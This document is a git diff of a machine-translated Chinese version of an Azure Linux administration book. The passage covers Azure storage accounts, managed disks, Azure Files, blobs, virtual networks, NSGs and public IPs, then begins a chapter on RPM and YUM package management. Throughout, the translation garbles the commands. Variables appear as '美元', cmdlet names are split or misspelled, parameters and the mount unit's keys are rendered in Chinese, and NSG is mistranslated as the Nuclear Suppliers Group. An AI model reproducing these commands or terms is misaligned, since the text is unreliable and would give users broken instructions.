Standard_LRS: - -$mySA = New-AzStorageAccount ' - --ResourceGroupName myRG 美元” - --臭鼬标准 - -位置 myLocation 美元” - --儿童 StorageV2 ' - --热启动器 - --name chapter4$(Get-Random -Minimum 1001 -Maximum 9999) - -在您的订阅中检查可用的存储帐户: - -Get-AzStorageAccount |选择 StorageAccountName、Location - -![To check the available storage accounts, its name and location.](img/B15455_04_01.jpg) - -###### 图 4.1:可用存储帐户 - -在屏幕截图中,您可以看到在三个不同的区域中有三个存储帐户可用于此订阅。 - -存储帐户由密钥保护。 如果你想进入一个存储账户,你需要钥匙。 在创建帐户时,会自动创建一组两个密钥。 如果你仍然在创建账户时的同一会话中,你可以收到密钥: - -$mySA | Get-AzStorageAccountKey | Format-Table -Wrap - -否则,您可以使用以下方法: - -Get-AzStorageAccountKey” - --ResourceGroupName' - --Name - -在下图中,**$MyRG**资源组中可用的**chapter42298**存储帐户有一组保护密钥: - -![To fetch protected keys for chapter 42298 storage account that is present in $MyRG resource group.](img/B15455_04_02.jpg) - -###### 图 4.2:获取 chapter42298 存储帐户的密钥 - -### 托管磁盘 - -以前,在部署 VM 时,需要创建一个存储帐户,以便保存 VM 的**虚拟硬盘**(**VHD**)。 后来,微软引入了**托管磁盘**,我们可以在其中简单地创建一个磁盘,微软负责底层存储帐户。 除此之外,客户还可以获得更多的优势,比如容易调整大小、更多的加密选项和更好的性能。 - -纳管磁盘创建虚拟机时,会绑定两个磁盘:操作系统磁盘和临时磁盘。 所有磁盘均为 VHD 格式。 存储在临时磁盘上的数据在重启虚拟机时会被清除,因此微软不建议将重要数据存储在临时磁盘上,因为临时磁盘不是持久性的。 - -您也可以添加额外的管理数据磁盘。 首先,创建磁盘配置: - -New-AzDiskConfig -Location' - -  -DiskSizeGB -OsType Linux -SkuName   ' - --CreateOption 空 - -让我们看看如何创建一个大小为 5 GB、冗余为 Standard_LRS 的磁盘配置示例: - -$diskconfig = New-AzDiskConfig -Location $myLocation ' - -  -DiskSizeGB 5 -OsType Linux -SkuName Standard_LRS ' - --CreateOption 空 - -现在,您可以创建实际的磁盘: - -New-AzDisk -ResourceGroupName' - --DiskName-Disk - -例如,下面是前一个命令的实现: - -$Disk01 = New-AzDisk -ResourceGroupName $ myg ' - -  -DiskName 'Disk01' -Disk $diskconfig - -通过执行**$Disk01**命令,您将看到新创建的磁盘。 在下面的截图中,输出被限制以使其更具可读性: - -![Creating new disk using $Disk01 command](img/B15455_04_03.jpg) - -###### 图 4.3:$Disk01 命令的输出 - -下一步是附加托管数据磁盘。 为此,我们需要磁盘 ID。 因此,我们将使用磁盘名称运行以下命令来查找 ID: - -Get-AzDisk -DiskName| select Id - -添加数据磁盘: - -add - azvmdatdisk -VM $myVM -Name' - --ManagedDiskId-Lun-CreateOption Attach - -**逻辑单元号**(即**LUN**)是虚拟机中用来标识存储的数字。 你可以从 0 开始编号。 最后,更新虚拟机设置: - -Update-AzVM ' - --ResourceGroupName' - --vm - -此时可将数据磁盘添加到虚拟机中。 要用一个完整的示例进行总结,首先需要了解 VM 的所有属性。 为了获得 VM 的属性,我们将使用以下命令并将属性保存到一个变量**$myVM**: - -$myVM = Get-AzVM -ResourceGroupName $myRG -Name $myTestVM - -下一个命令是将之前创建的磁盘添加到虚拟机: - -add - azvmdatdisk -VM $myVM -Name Disk01 ' - --ManagedDiskId Disk01 美元。 Id -Lun 1 -CreateOption Attach - -上述命令将显示已配置的虚拟机属性,如下截图所示: - -![The configured properties of the VM, by adding the disk created on the VM.](img/B15455_04_04.jpg) - -###### 图 4.4:将创建的磁盘添加到 VM 中 - -正如我们从输出中可以看到的,信息被添加到**storage_profile**,但是更改还没有激活。 - -要激活它,使用**Update-AzVM**。 输出应该给你的**StatusCode**为**OK**: - -Update-AzVM -ResourceGroupName $ myg -VM $myVM - -正如您在下面的截图中看到的,**IsSuccessStatusCode**告诉您请求已被接收。 StatusCode 是请求的结果: - -![To make the StorageProfile active, update StatusCode using Update-AzVM command.](img/B15455_04_05.jpg) - -###### 图 4.5:使用 update - azvm 命令更新 StatusCode - -验证结果: - -$myVM.StorageProfile.DataDisks - -或者,更好的做法是,不重用变量,只查询这一行代码中的所有信息: - -$(Get-AzVM -Name $myTestVM ') - -.StorageProfile.DataDisks -ResourceGroupName myRG 美元) - -可以看到名称、大小和 LUN: - -![The output representing the name, size, and LUN of Disk StorageProfile.](img/B15455_04_06.jpg) - -###### 图 4.6:磁盘存储概要 - -### Azure 文件 - -您可以使用**Azure Files**来代替向虚拟机添加数据磁盘。 如果您还记得,我们在本章开始时讨论过 Azure 文件,并提到它不同于普通的文件共享。 Azure Files 是云中的一个完全管理的文件共享,它可以通过**服务器消息块**(**SMB**)访问,并且可以挂载到 Linux、Windows 和 macOS 上。 - -Azure Files 需要一个存储帐户,并支持 Standard_LRS、Standard_ZRS、Standard_GRS 和 Standard_ZRS(仅在选定的区域上)SKU 类型。 除了标准(热)之外,没有其他高级存储或访问层可用。 (在写这本书的时候,微软的消息源表示还没有时间来介绍这些特性。) - -请注意,出于性能原因,您确实需要使用 SMB 3.0 协议。 这意味着你需要一个最新的 Linux 发行版,就像这里列出的: - -* 基于 rhel7.5 或更高版本的发行版 -* Ubuntu 16.04 或更高版本 -* Debian 9 -* SUSE 12 SP3 / OpenSUSE LEAP 42.3 或更高版本 - -您还需要使用挂载选项强制版本 3:**vers=3.0**。 - -第一步涉及到创建 Azure 文件共享: - -New-AzStorageShare ' - --Name-Context - -对于存储帐户上下文,您可以使用用于创建存储帐户的变量或再次创建变量: - -$mySA = (Get-AzStorageAccount | Where-Object{$_。 StorageAccountName——“*”章}) - -让我们实现它并创建一个新的文件共享: - -$myShare01 = New-AzStorageShare ' - --Name "myshare01-staff" -Context $mySA。 上下文 - -让我们检查一下**$myShare01**的值。 输出清楚地显示了存储的 URL,当你创建它的时候,以及快照是否可用: - -![The URL of the storage displaying the values of myShare01](img/B15455_04_07.jpg) - -###### 图 4.7:myShare01 的输出 - -需要查看已创建的共享的属性。 - -(Get-AzStorageShare -Context $mySA.Context).Uri - -正如你在下面的截图中看到的,它会给你同样的输出和更多的信息,这对我们的目的来说一点都不重要: - -![The properties of the created share with more details](img/B15455_04_08.jpg) - -###### 图 4.8:创建的共享的属性 - -在 Linux 操作系统下,可以通过以下代码手动挂载文件共享: - -Mount -t cifs \ - --o vers=3.0,用户名=,密码=\ - -//.file.core.windows.net/\ - -/ - -请注意,我们没有使用 HTTPS 方案,因为 CIFS 不使用 uri。 Azure 将负责不同方案之间的映射。 - -让我们继续并挂载文件共享。 你的密码和存储文件共享将不同于示例,因为名称在 Azure 中是唯一的: - -mkdir / mnt /好吗 - -Mount -t cifs -o vers=3.0,username=chapter42585,password=.... \ - -  //chapter42585.file.core.windows.net/myshare-01.staff /mnt/staff - -此外,您可以使用 Azure 门户([https://portal.azure.com/](https://portal.azure.com/))中的连接选项来实现文件共享,Azure 将生成将共享挂载到 Linux 以及 Windows 和 macOS 系统的命令。 - -在下面的截图中,您可以看到单击**Connect**后,Azure 生成代码来将文件共享连接到 Linux 系统。 你可以复制这段代码并粘贴到你的 Linux 系统: - -![Azure generates the code to connect the file share to the Linux system on the click of Connect tab](img/B15455_04_09.jpg) - -###### 图 4.9:将文件共享连接到 Linux 系统 - -关于 Azure 文件挂载共享的更多信息可以在*第 5 章,高级 Linux 管理*中*挂载远程文件系统*一节中找到。 下面是 Azure Files 的一个挂载单元示例: - -(单位) - -描述=员工共享 - -(山) - -= / / chapter42585.file.core.windows.net/myshare - 01\. -员工 - -Where = /mnt/staff - -类型= cifs - -选择=更= 3.0,= /根/ .staff 凭证 - -这里是**/root/。 staff**文件包含以下条目: - -用户名= - -密码= - -另一个验证共享和管理内容的好方法是使用 Azure Storage Explorer。 在您的工作站上启动 Azure Storage Explorer 并连接您的 Azure 帐户。 如果不想添加整个帐户,还可以选择只添加使用 SAS 密钥的存储帐户。 Storage Explorer 会在左侧显示不同类型的资源,如下图所示: - -![Azure storage Explorer window displaying the different types of resources](img/B15455_04_10.jpg) - -###### 图 4.10:Azure Storage Explorer - -### Azure Blob - -Azure Blob 存储**是一种存储服务,它将云中的非结构化数据(图像、视频、音频、备份数据等不符合数据模型)作为对象存储。 Blob 是基于对象的存储,可以存储任何类型的数据。** - -在存储帐户中,可以有容器; 容器与计算机上的目录或文件夹非常相似。 例如,如果您在 Azure 中存储您喜欢的音乐文件,您可以将帐户名称设置为*music*,在该名称中,您可以根据类型或艺术家创建一个容器,而实际的音乐文件就是 blob。 一个存储帐户可以有无限数量的容器,一个容器可以有无限数量的斑点。 - -Azure 文件共享是将数据保存在虚拟机之外的好方法。 但它们是基于文件的,这并不是所有数据类型最快的选择。 例如,从 Azure 文件流,虽然可能,但不是很好; 上传非常大的文件也很有挑战性。 Blob 存储是解决这个问题的一种解决方案,它的伸缩性要好得多:对于 Azure 文件共享来说是 5tb,对于单个 Blob 容器来说是 500tb。 - -为了能够上传一个 blob,你必须先创建一个容器: - -New-AzStorageContainer -Name' - --Context-Permission blob - -下面是一个创建容器列表的例子: - -$myContainer = New-AzStorageContainer ' - -- name container01” - -上下文体育会美元。 环境许可 blob - -![Output displaying the creation of the container list](img/B15455_04_11.jpg) - -###### 图 4.11:创建一个容器列表 - -在创建容器时,有三种类型的权限: - -* **Container**:提供对容器及其斑点的完全读访问。 客户端可以通过匿名请求枚举容器中的 blob; 其他容器不可见。 -* **Blob**:通过匿名请求在整个容器中提供对 Blob 数据的读访问,但不提供对容器数据的访问。 其他斑点是不可见的。 -* **Off**:限制对存储帐户所有者的访问。 - -你可以再次使用 Azure Storage Explorer 来查看容器: - -![Using Azure storage Explorer window to view containers.](img/B15455_04_12.jpg) - -###### 图 4.12:使用 Azure 存储浏览器查看容器 - -使用 PowerShell,你可以创建一个 blob: - -Set-AzStorageBlobContent -File - --容器-斑点' - -上下文 mySA.context 美元 - -可以使用以下命令验证结果: - -Get-AzStorageBlob -Container' - -上下文体育会美元。 context | select Name - -现在你可以上传一个文件到容器中,把它变成一个 blob,例如: - -Set-AzStorageBlobContent -File "/Pictures/image.jpg" ' - -容器 myContainer 美元。 名称' -Blob "Image1.jpg" - -上下文 mySA.context 美元 - -你也可以列出结果: - -Get-AzStorageBlob -Container' - -上下文体育会美元。 context | select Name - -所有这些操作也可以从 Bash 中执行。 - -你可以使用**Blobfuse**在 Linux Blobfuse 参考链接中挂载这个 blob; 更多信息请访问[https://github.com/Azure/azure-storage-fuse](https://github.com/Azure/azure-storage-fuse)和[https://docs.microsoft.com/en-us/azure/storage/blobs/storage-how-to-mount-container-linux](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-how-to-mount-container-linux)。 - -将数据复制到一个 blob 的替代解决方案是**AzCopy**(关于此的更多信息可以在[https://docs.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-linux](https://docs.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-linux)获得)。 - -但是,老实说,大多数时候,这不是您使用 Blob 存储的方式。 您不希望在操作系统级别访问 Blob 存储,而是希望在应用级别访问 Blob 存储,以便存储图像等对象并使它们公开可用。 微软在[https://github.com/Azure-Samples?q=storage-blobs](https://github.com/Azure-Samples?q=storage-blobs)为入门提供了很好的例子。 - -在*第 7 章,部署你的虚拟机*中,有一个很好的例外例子:上传一个 VHD 文件来使用该 VHD 创建一个自定义映像。 - -## 管理网络资源 - -如前所述,在*第 3 章*中,网络是非常重要的。 Azure Virtual Network 是一种 Azure 服务,它提供以下功能: - -* 与工作负载的连接 -* 将你的工作与外部世界连接起来 -* 虚拟机之间的连接 -* 其他连接选项,如 VPN 隧道 -* 流量过滤 -* 高级路由选项,包括通过 VPN 隧道的 BGP 路由 - -### 虚拟网络 - -在 Azure 中,虚拟网络最重要的组件是**虚拟网络**,或者简称**VNet**。 虚拟网络至关重要,因为它为 vm 的运行提供了一个高度安全、隔离的环境。 - -下面的过程可能看起来有点混乱和冗长,但这里的目的是让您理解这个过程和命令。 让我们从创建虚拟网络开始: - -AzVirtualNetwork -Name' - --ResourceGroupName-Location' - --AddressPrefix - -因此,如果我们想创建一个名为**MyVirtualNetwork**,地址空间为**10.0.0.0/16**的虚拟网络,我们可以使用: - -$myVnet = New-AzVirtualNetwork -Name MyVirtualNetwork ' - --ResourceGroupName $ myg -Location $myLocation ' - -  -AddressPrefix "10.0.0.0/16" - -执行你刚刚创建的变量会显示所有的属性: - -![Output displaying the properties of the Virtual network.](img/B15455_04_13.jpg) - -###### 图 4.13:虚拟网络属性 - -**AddressSpace**或地址是可以被一个或多个子网使用的网络。 可以添加额外的地址空间。 - -### 子网 - -如上所述,子网是在虚拟网络中创建的。 同一网络中不同子网之间的所有流量都在 Azure 中路由,因此子网之间能够相互访问。 当然,您可以修改该行为,例如,当您希望使用负载平衡器时。 - -同样,出于与虚拟网络相同的原因,我们将使用最简单的命令: - -Add-AzVirtualNetworkSubnetConfig ' - --AddressPrefix-Name' - -  -VirtualNetwork - -创建名称为**MySubnet**,地址池为**10.0.1.0/24**的子网。 - -$mySubnet = Add-AzVirtualNetworkSubnetConfig ' - --AddressPrefix 10.0.1.0/24 -Name MySubnet ' - -  -VirtualNetwork $myVnet - -#### 请注意 - -您可能会收到一个警告,提示某些对象已被弃用。 你可以放心地忽略它。 - -如果你执行**$mysubnet**,你会看到子网被添加: - -![Output displaying the details of the subnet using $myVnet.Subnets](img/B15455_04_14.jpg) - -###### 图 4.14:子网详细信息 - -正如你在前面的截图中看到的,我们并没有使用整个网络,而只是其中的一部分。 - -另外,也可以使用以下命令进行验证: - -Get-AzVirtualNetworkSubnetConfig ' - --VirtualNetwork $myVnet -Name MySubnet - -输出将与前面的截图完全相同。 - -子网的第一个 IP 地址是来自 VM 的网络流量的网关; 它提供了以下内容: - -* 一个默认网关,通过**源地址转换**(**SNAT**)实现上网。 为此,必须配置一个公网 IP 地址。 SNAT 允许你将你的虚拟机(或任何资源)在私有网络中产生的流量通过网关发送到互联网。 -* DNS 服务器,如果没有配置。 -* DHCP 服务器。 - -虚拟网络配置的最后一部分涉及到附加新创建的子网: - -Set-AzVirtualNetwork -VirtualNetwork myVnet 美元 - -从输出中,在一些其他信息中,你可以看到地址空间和子网内部: - -![By attaching the newly created subnet you can see the address space and the subnet](img/B15455_04_15.jpg) - -###### 图 4.15:附加新创建的子网 - -### 网络安全组 - -**网络安全组**(**NSG**)是下一个需要关注的组件。 它本质上是与子网相关联的访问控制列表。 提供到虚拟机或容器的端口转发。 这些规则应用于子网的所有接口。 - -第一步是建立 NSG: - -New-AzNetworkSecurityGroup ' - --ResourceGroupName' - --Location-Name - -例如,你可以这样创建 NSG: - -$myNSG = New-AzNetworkSecurityGroup ' - --ResourceGroupName $ myg -Location $myLocation -Name myNSG1 - -在大量的输出中,你会发现几个部分; 其中一个部分名为**Default Security Rules**。 本节包含一组规则,按优先级顺序给出: - -* 允许虚拟网络中所有虚拟机的入站流量(**AllowVnetInBound**) -* 允许来自 Azure 负载均衡器(**AllowAzureLoadBalancerInBound**)的流量 -* 拒绝所有入站流量(**DenyAllInBound**) -* 允许虚拟网络中所有虚拟机的流量流出(**AllowVnetOutBound**) -* 允许所有虚拟机出站流量到 internet(**AllowInternetOutBound**) -* 拒绝所有 outbound 流量(**DenyAllOutBound**) - -在进入规则之前,让我们把子网和 NSG 联系起来: - -Set-AzVirtualNetworkSubnetConfig -Name' - --VirtualNetwork-NetworkSecurityGroupID' - --AddressPrefix - -例如,下面是前一个命令的实现: - -$NSGSubnet = Set-AzVirtualNetworkSubnetConfig ' - -- name myVnet.Subnets 美元。 名字的 - -  -VirtualNetwork $myVnet ' - --NetworkSecurityGroupID myNSG 美元。 Id ' - --AddressPrefix 10.0.1.0/24 - -您可能会得到与前面看到的相同的弃用警告。 你可以再次忽略它们。 将核供应国集团加入网络: - -美元 NSGSubnet | Set-AzVirtualNetwork - -该命令的输出将是 JSON 格式的,并且由于所有参数的存在而显得冗长。 如果你看一下输出,你会看到**NetworkSecurityGroup**被提到为**myNSG1**,这是我们创建的 NSG: - -![Attaching NetworkSecurityGroup to the network ](img/B15455_04_16.jpg) - -###### 图 4.16:NSG 连接到网络 - -如果我们想通过 SSH 访问我们的 VM,那么我们需要添加一条安全规则: - -$myNSG | Add-AzNetworkSecurityRuleConfig -Name SSH ' - --描述“允许 SSH”' - --允许访问-协议 Tcp -方向入站' - -优先级 100 - --SourceAddressPrefix Internet -SourcePortRange * ' - -  -DestinationAddressPrefix * ' - --DestinationPortRange 22 | Set-AzNetworkSecurityGroup - -参数**-SourceAddressPrefix**是一种对虚拟网络之外的所有事物的简写,可以通过公共互联网访问。 其他值如下: - -* **虚拟网络**:这个虚拟网络中的所有内容以及其他连接的网络。 -* **AzureLoadBalancer**:如果你正在使用 Azure 负载均衡器,它提供对 vm 的访问。 -* *****:一切。 - -**优先级**的取值范围为**100**~**4096**。 更高的数字是由 Azure 创建的,可以否决。 优先级编号越低,规则的优先级越高。 - -前一个命令的输出可能有太多的信息,这可能会让人有点困惑。 为了确认端口**22**流量是否允许,我们将使用以下命令过滤输出: - -$myNSG |选择 SecurityRules - -$myNSG.SecurityRules - -如下截图所示,输出结果验证了 TCP 端口**22**是否对入站流量开放。 该端口的优先级为**100**,但由于这是唯一的规则,所以这并不重要: - -![Output to verify that TCP port 22 is open for inbound traffic](img/B15455_04_17.jpg) - -###### 图 4.17:列出 NSG 的安全规则设置 - -也可以使用以下命令: - -$myNSG | Get-AzNetworkSecurityRuleConfig - -正如您所看到的,输出是相同的。 - -### 公网 IP 地址和网络接口 - -为了能够从互联网访问 VM,需要一个公网 IP 地址和一个 DNS 标签,这是给 VM 的 DNS 名称。 - -公网 IP 可以是静态的,也可以是动态的。 在动态公网 IP 的情况下,当您解除分配并重新启动虚拟机时,该 IP 将被释放并与虚拟机解除关联。 下次启动 VM 时,一个新的公共 IP 将与 VM 关联。 因此,每次解除分配并重新启动 VM 时,都必须从 CLI 或门户检查公共 IP 以连接到 VM。 - -下面是 DNS 标签的重要部分:如果您已经向 VM 添加了 DNS 标签,那么无论 VM 拥有哪个公共 IP,您都可以使用它连接到 VM。 释放和重启虚拟机时,DNS 标签不会改变。 而且,DNS 标签在 Azure 中是唯一的。 - -在静态公网 IP 的情况下,该 IP 将为您保留。 即使解除分配并重新启动虚拟机,IP 也不会改变。 给虚拟机分配一个静态 IP 并不会阻止您添加 DNS 标签。 如果需要,还可以添加标签。 - -使用下面的命令创建一个新的动态公网 IP: - -$pip = new - azpublicicipaddress ' - --ResourceGroupName myRG 美元” - --Location $myLocation -AllocationMethod 动态' - -- name " $(获得随机)" - -通过查看**$pip**变量的内容来验证它。 如果分配方式为**Dynamic**,则需要将该 IP 地址分配给网络接口后,才会进行分配: - -![Verifying the new dynamic public IP by viewing the content of the $pip variable.](img/B15455_04_18.jpg) - -###### 图 4.18:验证新的动态公网 IP - -所以,这就是为什么在前面的截图中,**IpAddress**字段状态为**Not Assigned**。 - -使用如下命令创建网络接口: - -$nic = New-AzNetworkInterface -Name myNic ' - --ResourceGroupName $ myg -Location $myLocation ' - --SubnetId 美元 myVnet Subnets[0]。 我的名字叫 pip。 Id ' - -  -NetworkSecurityGroupId $myNSG.Id - -如果在**SubnetId**上出现错误,请尝试再次设置**myVnet**变量,并运行以下命令: - -$myVnet = Get-AzVirtualNetwork -Name $myVnet.Name ' - --ResourceGroupName myRG 美元 - -执行以下命令验证结果: - -$nic.ipConfigurations - -![Checking the IP address alloted to the network interface ](img/B15455_04_19.jpg) - -###### 图 4.19:检查分配给网络接口的 IP 地址 - -在输出中,如上图所示,分配了一个 IP 地址,这次是**10.0.1.4**。 - -## 管理计算资源 - -让我们总结一下本章中涉及的组件,这些组件在部署 VM 之前是必需的。 在存储帐户的情况下,这不是一个真正的需求,但您是否希望在出现故障时不能接收引导诊断? 如前所述,如果 vm 处于不可引导状态,启动诊断帐户非常有用。 该帐户存储的日志可用于查找虚拟机非启动状态的根本原因。 对于测试,这不是一个强制选项,但对于生产工作负载,建议启用引导诊断,这将帮助您理解故障期间发生了什么错误。 - -#### 请注意 - -Azure 容器服务和 Azure Kubernetes 服务也使用这里提到的每个资源。 - -如果您还记得,在*技术要求*一节中,我们查看了 PowerShell 代码来创建一个新的 VM,其中大多数变量都没有定义。 下面是代码: - -New-AzVm ' - --ResourceGroupName myRG 美元” - -  -Name $myTestVM ' - --ImageName UbuntuLTS - -位置 myLocation 美元” - -  -VirtualNetworkName "$myTestVM-Vnet" ' - --SubnetName myTestVM-Subnet 美元” - -  -SecurityGroupName "$myTestVM-NSG" ' - --PublicIpAddressName myTestVM-pip 美元 - -现在,我希望您能够理解这些参数的含义以及它们对 VM 的重要性。 - -## 虚拟机资源 - -在本节中,我们将提供一些表,其中包含 PowerShell 和 Bash 中必要的组件和相应的命令。 它可以与 PowerShell 中可用的帮助(**帮助**)、Azure CLI(将**——help**参数添加到命令中)或 Azure 在线文档一起使用。 - -### **Azure Profile** - -Azure 配置文件包括描述 Azure 环境所需的设置: - -![A list of commands for Azure profile settings required to describe the Azure environment](img/B15455_04_20.jpg) - -###### 图 4.20:Azure 配置文件设置命令 - -### **资源组** - -资源组需要包含和管理资源: - -![A list of commands to create and view the Azure resource groups](img/B15455_04_21.jpg) - -###### 图 4.21:Azure 资源组命令 - -### **存储帐户** - -如果你想在你的虚拟机/容器外存储数据,需要存储帐户: - -![A list of commands for Azure storage account](img/B15455_04_22.jpg) - -###### 图 4.22:Azure 存储帐户命令 - -### **虚拟网络** - -虚拟机/容器之间的通信以及与外界的通信需要虚拟网络: - -![A list of commands that can be used to create and view Azure virtual network and subnet.](img/B15455_04_23.jpg) - -###### 图 4.23:Azure 虚拟网络命令 - -### **网络安全组** - -NSG 由**访问控制列表**(**ACL**)组成,以保护您的工作负载,并允许在需要时进行访问。 它和公网 IP 地址一起,也需要端口转发到 VM/容器: - -![A list of commands for the Azure Network Security Group.](img/B15455_04_24.jpg) - -###### 图 4.24:Azure NSG 命令 - -### **公网 IP 地址及网络接口** - -公共 IP 地址提供了从外部对 VM/容器的访问。 端口地址转换(PAT)和 SNAT 需要: - -![A list of commands for the Azure public IP address and network interface.](img/B15455_04_25.jpg) - -###### 图 4.25:Azure 公共 IP 地址和网络接口命令 - -## 总结 - -有了本章所获得的知识,您现在应该对您在*第 2 章开始使用 Azure 云*中遇到的事情有了更好的理解。 - -在本章中,我们探讨了在 Azure 中创建工作负载之前需要用到的所有 Azure 组件: - -* 您需要一个 VM 引导诊断扩展的存储帐户。 -* 您需要一个存储帐户来在 VM 之外存储数据。 -* 网络组件需要能够与您的 VM 通信,使您的机器之间能够通信,并使 VM 能够访问 internet。 - -到目前为止,我们讨论的步骤对于理解与 vm 相关的组件以及每个组件如何在 Azure 中部署非常有用。 我们从 Azure 中的存储解决方案开始,然后还讨论了网络。 我们希望这能让您了解这些组件是如何组合在一起提供服务交付的。 - -在下一章中,我们将使用本章学到的知识来识别和配置 Linux 操作系统中的网络和存储组件。 除了网络和存储主题之外,我们还将探讨其他系统管理任务,例如软件和服务管理。 - -## 问题 - -1. 创建虚拟机需要哪些资源? -2. 虚拟机推荐使用哪些资源? -3. 在这些例子中,一个随机数生成器被使用了好几次——为什么? -4. **地址前缀**在网络上的目的是什么? -5. 子网中**地址前缀**的目的是什么? -6. 核供应国集团的目的是什么? -7. 为什么需要公共 IP 地址与外部世界通信? -8. 静态和动态分配的公网 IP 地址有什么区别? - -## 进一步阅读 - -*实现 Microsoft Azure 基础设施解决方案*是微软出版社的一本书,旨在作为学习 70-533 考试的参考指南; 虽然不赞成考试,但是考试内容还是很好的参考。 它使用 Azure 门户和命令行界面详细解释了 Azure 基础设施的每个部分。 - -如果你是网络新手,另一本推荐的书,也是作为考试学习指南的,是 Glen D. Singh 和 Rishi Latchmepersad 合著的*Comptia Network+ Certification guide*。 - -更老更难读的是 IBM 免费提供的*TCP/IP 红皮书*([https://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf](https://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf)); 它涵盖了比你需要知道的更多,但如果你对这个主题感兴趣,它是必读的。 即使你对参加思科 ICND1 考试不感兴趣,Neil Anderson 在[https://www.packtpub.com](https://www.packtpub.com)上录制了一段视频,除了思科部分,它还提供了一个非常好的网络介绍。 - -#### 请注意 - -请注意 Azure 环境在不断变化,特别是在存储和网络方面; 根据 Microsoft 网站上的文档验证源代码是很重要的。 发布日期可能是您要检查的第一件事。 \ No newline at end of file diff --git a/docs/handson-linux-admin-azure/05.md b/docs/handson-linux-admin-azure/05.md deleted file mode 100644 index a5d06640..00000000 --- a/docs/handson-linux-admin-azure/05.md +++ /dev/null @@ -1,1462 +0,0 @@ -# 五、高级 Linux 管理 - -在*第三章,基本 Linux 管理*中,介绍了一些基本的 Linux 命令,并学习了如何在 Linux 环境中找到自己的方法。 在那之后,在*第 4 章,管理 Azure*中,我们深入探讨了 Azure 架构。 - -有了从这两章中获得的知识,我们现在准备好继续我们在 Linux 中的旅程。 让我们继续探讨以下主题: - -* 软件管理,我们将看到如何将新包添加到 Linux 机器上,以及如何更新现有的包。 -* 存储管理。 在前一章中,我们讨论了从 Azure 将数据磁盘连接到您的**虚拟机**(**VM**),但现在我们将讨论在 Linux 中对这些磁盘的管理。 -* 网络管理。 前面,我们讨论了将一个**网络接口卡**(**NIC**)添加到虚拟机,以及如何在 Azure 中管理网络资源。 在本章中,我们将讨论如何在 Linux 中管理这些资源。 -* 系统管理,在这里我们将讨论如何管理服务和系统要素。 - -## 技术要求 - -出于本章的目的,你需要在 Azure 上部署一个 Linux VM,以及你所选择的发行版。 - -在大小方面,您将需要至少 2 GB 的临时存储,以及至少添加 3 个额外磁盘的能力。 例如,B2S VM 大小是一个很好的起点。 在本章中,我分享了 Ubuntu、Red Hat 和 SUSE 系统的操作步骤; 您可以选择遵循哪个发行版。 - -## 软件管理 - -在任何操作系统中,我们都需要安装一些软件来帮助我们完成日常工作。 例如,如果您正在编写脚本,那么操作系统附带的常规软件或应用可能不够用。 在这种情况下,您需要安装诸如 Visual Studio Code 之类的软件来简化您的工作。 同样,在企业环境中,您可能需要添加新的软件,甚至更新现有的软件来满足您的业务需求。 - -在过去,安装软件只是将归档文件解压到文件系统。 然而,这种方法存在几个问题: - -* 如果文件被复制到其他软件也使用的目录中,则很难删除该软件。 -* 软件升级很困难; 也许这些文件还在使用,或者出于某种原因被重命名了。 -* 处理共享库很困难。 - -这就是为什么 Linux 发行版发明了软件管理器。 使用这些软件管理器,我们可以安装完成任务所需的软件包和应用。 以下是一些软件经理: - -* RPM -* 百胜 -* DNF -* DPKG -* 恰当的 -* ZYpp - -让我们仔细研究每一种方法,并了解如何使用它们来管理您的 Linux 系统中的软件。 - -### RPM 软件管理器 - -1997 年,Red Hat 发布了他们的包管理器 RPM 的第一个版本。 其他发行版,比如 SUSE,采用了这个包管理器。 RPM 是**RPM**实用程序的名称,以及格式和文件名扩展名的名称。 - -RPM 包包含以下内容: - -* 打包的二进制文件和配置文件的一个**CPIO**(**Copy In, Copy Out**)存档。 CPIO 是一个用于组合多个文件并创建归档文件的实用程序。 -* 包含有关软件的信息的元数据,例如描述和依赖关系。 -* 用于安装前和安装后脚本的 scriptlet。 - -在过去,Linux 管理员使用**rpm**实用程序在 Linux 系统上安装、更新和删除软件。 如果存在依赖关系,则**rpm**命令可以准确地告诉您需要安装哪些其他包。 **rpm**实用程序无法修复软件包之间的依赖关系或可能的冲突。 - -现在,我们不再使用**rpm**实用程序来安装或删除软件,即使它是可用的; 相反,我们使用更高级的软件安装程序。 在用**yum**(Red Hat/CentOS)或**zypper**(SUSE)安装软件之后,所有元数据都进入数据库。 使用**rpm**命令查询这个**rpm**数据库非常方便。 - -以下是最常见的**rpm**查询参数列表: - -![A list of most commonly used rpm query parametres and their description.](img/B15455_05_01.jpg) - -###### 图 5.1:常见的**rpm**查询参数 - -以下截图是获取已安装 SSH 服务器包信息的示例: - -![Information about the installed SSH server package.](img/B15455_05_02.jpg) - -###### 图 5.2:SSH 服务器包信息 - -参数**-V**的输出可以告诉我们对已安装软件所做的更改。 让我们对**sshd_config**文件进行修改: - -/etc/ssh/sshd_config /tmp - -sudo sed -i 's/#端口 22/端口 22/' /etc/ssh/sshd_config - -如果验证安装的包,会发现输出中增加了**S**和**T**,表明时间戳发生了变化,文件大小发生了变化: - -![A couple of characters indicating the changes made to the installed software.](img/B15455_05_03.jpg) - -###### 图 5.3:S 和 T 表示时间戳和文件大小的变化 - -输出中其他可能的字符如下: - -![A list of possible characters in the SSH server output with their explanation.](img/B15455_05_04.jpg) - -###### 图 5.4:可能的输出字符及其描述 - -对于文本文件,使用**diff**命令可以显示**/tmp**目录下的备份与**/etc/ssh**目录下的配置的差异: - -/etc/ssh/sshd_config /tmp/sshd_config - -恢复原文件如下: - -/etc/ssh/sshd_config . conf /tmp/sshd_config . conf - -### YUM 软件管理 - -**Yellowdog updatater Modified**(**YUM**)是 Red Hat 在 Enterprise Linux version 5 中引入的现代软件管理工具,取代了**up2date**实用程序。 它目前在所有基于 Red hat 的发行版中使用,但将被 Fedora 使用的**dnf**所取代。 好消息是**dnf**与**yum**语法兼容。 - -百胜负责以下工作: - -* 安装软件,包括依赖项 -* 更新软件 -* 删除软件 -* 列出和搜索软件 - -重要的基本参数如下: - -![A list of YUM parameters used to install, update, remove, search, and list softwares.](img/B15455_05_05.jpg) - -###### 图 5.5:基本的 YUM 参数 - -你也可以安装软件的模式; 例如,*文件和打印服务器模式或一组是一个非常方便的方式安装**网络文件分享**(**NFS)和 Samba 文件服务器和杯子一起打印服务器,而不是安装包:*** - - *![A list of YUM group commands used to install, list, update, and remove group of packages.](img/B15455_05_06.jpg) - -###### 图 5.6:YUM 组命令及其描述 - 